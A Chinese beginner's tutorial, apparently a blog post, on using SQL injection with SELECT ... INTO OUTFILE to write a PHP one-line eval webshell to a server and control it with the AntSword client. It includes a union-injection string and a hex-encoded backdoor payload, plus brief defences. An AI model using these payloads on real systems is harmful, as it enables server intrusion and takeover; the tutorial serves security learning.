【入门推荐】SQL注入进行WebShell渗透测试的基础概览
作者:zero
本文为SQL基本注入的进阶文章,如有任何疑问请查看:
SQL基本注入演示:https://www.cnblogs.com/anbus/p/10082452.html
导语:
利用SQL注入进行攻击来获取WebShell其实就是在向服务器写文件。(注意:这里我们需要得到网站的绝对路径)如何理解?引入余弦老哥的一句话:
黑客通过输入提交“特殊数据”,特殊数据在数据流的每个层处理,如果某个层没处理好,在输出的时候,就会出现相应层的安全问题。
也就是“输入输出”,余弦老哥举的这个例子就很精彩!
如果在存储层的数据库中没处理好,数据库的SQL解析引擎把这个“特殊数据”当做指令执行时,就产生SQL注入这样的安全问题,这段“特殊数据”可能长得如下这般:
' union select user, pwd, 1, 2, 3, 4 from users--
为什么要进行SQL注入WebShell?
在所有常用的关系数据库管理系统(RDBMS)中均包含内置的向服务器文件系统写文件的功能,通过这些内置的功能,我们可以将自己的WEBshell写目录或文件进去。
什么是web shell?
Web shell 我们可以把他拆开来看,web就是指在web服务器上,shell指的是用脚本语言编写的程序,那么,web shell就是用来管理服务器的一个工具,拥有对服务器进行操作的权限,又被称作web admin。Web shell一般是被网站管理员用于网站管理、服务器管理等等一些用途,但是由于web shell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),所以经常会被黑客加以利用,通过一些上传缺陷,将自己编写的web shell上传到web服务器的页面的目录下,然后通过页面访问的形式进行渗透,或者通过插入 “一句话” 来进行渗透。
Web shell 种类:
Web shell根据脚本可以分为多种,例如:PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的web shell,根据功能来区分可以分为大马和小马,小马通常就指的是一句话木马,那下面我们就来说说一句话木马。
什么是一句话木马?
一句话木马顾名思义就是只有一行代码的木马,短短的一行的代码就可以做到与大马相当的功能,为了绕过检测机制的检测,一句话木马出现过无数种变形,但是核心功能还是不变的,就是木马函数执行我们发送的信息。说到发送,正常我们发送的途径有三种:分别是 get , post , cookie。可以用这三种方式向一个网站提交数据。
一句话木马用 $_GET[' '] , $_POST[' '] ,$_COOKIE[' '] 来接受我们发送的数据,并把接收到的数据传递给一句话木马中执行命令的函数,进而执行命令。所以我们看到很多一句话木马大多数都有两个部分,一个用来接受命令,一个用来执行命令。
举个例子:
这就是一个经典的一个一句话木马,其中 post 就是使用 post 的方式来接受命令,而 eval 就是执行命令的函数,eval 在 PHP 中的意思是将收到的数据转化成 PHP 代码来执行,这样我们就能够让插了一句话木马的网站执行我们传递过去的任意php语句,是不是觉得一下豁然开朗?
演示一下一句话木马的使用:
新建立一个叫做muma.php的php文件,将它放入到www目录中
因为是post方法,所以我们用hankbar来提交数据
我们提交一个叫 phpinfo 的命令,phpinfo 的意思是展现当前php版本信息,然后提交一下
成功执行!
但是不只是 eval 这一个函数可以实现这个功能,还有很多函数可以间接或者直接的实现,而你要做的,便是想方设法进行变异来绕过某些检测机制,这些思路网上有很多,这里就不在赘述了。
常用工具:中国蚁剑的使用
不一定得是这个工具,笔者只是将用这个工具来做个科普。
中国蚁剑,一剑在手,纵横无忧!其他的多余的话咱们就不说,来做个演示:
利用蚁剑链接一句话木马
还是写入一个一句话木马,密码值是value
将其中写入到www目录里面
添加数据
然后添加数据,成功!
点击文件管理,就可以成功进入到目标服务器了。
利用SQL注入漏洞获取webshell:
从前文我们可以看出,一切一切的难度在于如何上传小马,而我们一般都是利用上传漏洞来进行上传各种大马小马,本次我们利用SQL注入来进行上传操作,以达到写入webshell的这一个操作。
select ...into outfile介绍:
正常的使用规则就是select A into outfile B,意思就是选择a的数据导入到b,常和union连用。但是有两种写法,一种是利用union的,一种是不用的。
如果要利用需要满足多种条件:
必须能用单引号
-secure-file-priv没有进行配置
需要绝对路径
对web目录有写入权限
挖洞这门艺术是运气与实力的充分展现,在get shell的过程中限制会有很多,尤其是绝对路径,有点时候有可能报错或者是直接默认路径直接就可以出来绝对路径,有的时候得通过扫后台敏感信息啊,sqlmap扫目录啊,等等多种手段才能出来,这可能也就是挖洞的魅力所在吧。
具体如何获取路径信息文章推荐:https://blog.csdn.net/wodafa/article/details/61916575
思路引导:
首先我们理顺一下思路,前提是我们已经发现这个漏洞了,是select语句类型的SQL漏洞,并且已经注入成功了,我们对这个漏洞进行进一步利用,通过测试我们发现我们拥有写入权限,并且也没有规定路径,能使用单引号,我们也知道了后台服务器的绝对路径,于是决定写入小马对漏洞进行进一步的利用。
对于构造语句,我们使用select into out file 和union进行联合使用,具体语句如下:
a ' union select 1,0x273c3f706870206576616c28245f504f53545b2776616c7565275d293b3f3e27 into outfile 'E:/PHP/PHPTutorial/WWW/muma.php'#
其中,前面的我想应该就不用讲了吧,不明白可以回顾一下前面的文章,重点在于:
0x273c3f706870206576616c28245f504f53545b2776616c7565275d293b3f3e27
这个十六进制码这个翻译过来就是:
带引号的一个小马,欸这里有人可能要问了,小马就算了,为什么还要带引号?
SQL语句因为是解释型语言,这条语句进入后台后,首先后台会解码,把十六进制转换成字符,然后再执行,而带引号的小马会被当成字符串传递到muma.php的php文件中,这时在muma.php里面就是已经变成字符串的一句话木马,但是如果不加引号,传递到muma.php 的就是未被转换的十六进制,这就是为什么要加引号的原因。
注入语句!
打开www目录,我们发现已经注入进去了
现在我们用蚁剑来进行连接
成功链接!
常见防御姿势:
设置 secure_file_prive = null (不允许导入和导出)
防止暴露网站绝对路径
正确设置 web 目录权限,除 log、upload 等目录外不授予写权限,upload 目录不授予执行权限
本文到此结束!
【入门推荐】SQL注入进行WebShell渗透测试的基础概览的更多相关文章
- Web渗透测试入门之SQL注入(上篇)
题记: 本来今天想把白天刷的攻防世界Web进阶的做个总结,结果估计服务器抽疯环境老报错,然后想了下今天用到了SQL注入,文件上传等等,写写心得.相信很多朋友都一直想学好渗透,然后看到各种入门视频,入门 ...
- 2019-10-23:渗透测试,基础学习,DVWA,Medium和Hight级别sql注入
VWA的Medium和Hight级别sql注入 一,Medium级 服务端代码 <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get inp ...
- 2019-9-10:渗透测试,基础学习,sql注入笔记
sql注入1,万能密码,自己写的网站,找到登录窗口,必须和数据库交互,往里插入构造的恶意代码,最后可以直接登录进去,不需要账号和密码,输入的恶意代码成为万能密码,后端拼接的sql语句,SELECT * ...
- SQL注入之DVWA平台测试mysql注入
今天主要针对mysql常用注入语句进行测试. 测试环境与工具: 测试平台:DVWA,下载地址:http://down.51cto.com/data/875088,也可下载metaspolit-tabl ...
- 2019-9-9:渗透测试,基础学习,phpmyadmin getshell方法,基于时间的盲注,基于报错的注入,笔记
phpmyadmin getshell方法1,查看是否有导入导出设置 show global variables like '%secure-file-priv%';2,如果secure-file-p ...
- 2019-9-9:渗透测试,基础学习,pydictor使用,sql盲注,docker使用,笔记
pydictor,强大的密码生成工具,可以合并密码字典,词频统计,去重,枚举数字字典生成字典python3 pydictor.py -base d --len 4 4 生成纯数字4位密码python3 ...
- Vtiger CRM 几处SQL注入漏洞分析,测试工程师可借鉴
本文由云+社区发表 0x00 前言 干白盒审计有小半年了,大部分是业务上的代码,逻辑的复杂度和功能模块结构都比较简单,干久了收获也就一般,有机会接触一个成熟的产品(vtiger CRM)进行白盒审计, ...
- 2019-10-9:渗透测试,基础学习the-backdoor-factory-master(后门工厂)初接触
该文章仅供学习,利用方法来自网络文章,仅供参考 the-backdoor-factory-master(后门工制造厂)原理:可执行二进制文件中有大量的00,这些00是不包含数据的,将这些数据替换成pa ...
- 2019-9-28:渗透测试,基础学习,pgp常量,逻辑运算,DNS投毒,笔记
sunny.exe clientid 隧道ID route -n 查看网关netstat -rn 查看网关 DNS劫持ettercap用来内网渗透测试使用,可以嗅探内网,DNS劫持等攻击1,在攻击者电 ...
随机推荐
- 浅谈 [Ljava.lang.Object 异常
http://blog.csdn.net/goodleiwei/article/details/7059567 主要原因:取出的是对象的数组,需要遍历单个的对象并获取想用的属性值
- python学习 day12 (3月18日)----(装饰器内置函数)
读时间函数: # import time # def func(): # start_time = time.time() # 代码运行之前的时间 # print('这是一个func函数') # ti ...
- linux_关闭防火墙
centos6版本 永久关闭 chkconfig iptables off 查看状态 chkconfig iptables --list 此时关闭开机重新启动 service iptables sto ...
- mybatis 中文做参数报错
一个简单的查询,如果参数中有中文.如下: <select id="xxxx" resultType="hashmap"> select * from ...
- php中如何解决显示数据库中的内容乱码
第一步: 第二步:在代码开始处加一行
- centos下利用yum安装LAMP(Linux+Apache+MySQL+PHP)及配置
先说下我的实践配置,centos6.5(64位),联网 安装前准备:关闭防火墙 service iptables stop 安装MySQL 打开终端,root用户 1 yum install mysq ...
- 2018.10.30 bzoj4942: [Noi2017]整数(线段树压位)
传送门 直接把修改的数拆成logloglog个二进制位一个一个修改是会TLETLETLE的. 因此我们把303030个二进制位压成一位储存在线段树里面. 然后维护区间中最靠左二进制位不为0/1的下标. ...
- poj-2406(字符串hash)
题目链接:传送门 思路:字符串hash,终止条件竟然判断错了,真是太大意了. #include<iostream> #include<cstdio> #include<c ...
- c语言struct和c++struct的区别
1.定义 c语言中struct是用户自定义数据类型(UDT),是一些变量的集合体:c++中struct是抽象数据类型(ADT),能给用户提供接口,能定义成员函数,能继承,能实现多态 2.成员权限设置 ...
- Vue、 React比较
关键词:MVVM(Model-View-VIewModel)数据模型双向绑定.视图的数据变化会同时修改数据资源,数据资源的变化也会立刻反应到视图View上. 一.vue.js vue是一套构建用户界面 ...